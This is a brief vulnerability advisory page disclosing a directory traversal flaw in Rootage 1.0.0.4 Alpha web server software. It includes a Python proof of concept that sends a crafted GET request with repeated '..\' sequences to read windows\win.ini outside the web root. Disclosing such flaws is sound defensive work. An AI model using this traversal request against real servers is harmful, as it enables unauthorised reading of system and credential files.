Home
Consulting
Advisories
Software
Articles
Contact

Rootage 1.0.0.4 Alpha Directory Traversal

Legacy Advisories

Description

A directory traversal vulnerability in Rootage 1.0.0.4 Alpha can be exploited to read files outside of the web root.

Proof Of Concept

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)    

s.send('GET /' + '..\\' * 8 + 'windows\win.ini HTTP/1.1\r\n'
       'Host: localhost\r\n\r\n')

print s.recv(8192)


Copyright © 2018 AutoSec Tools LLC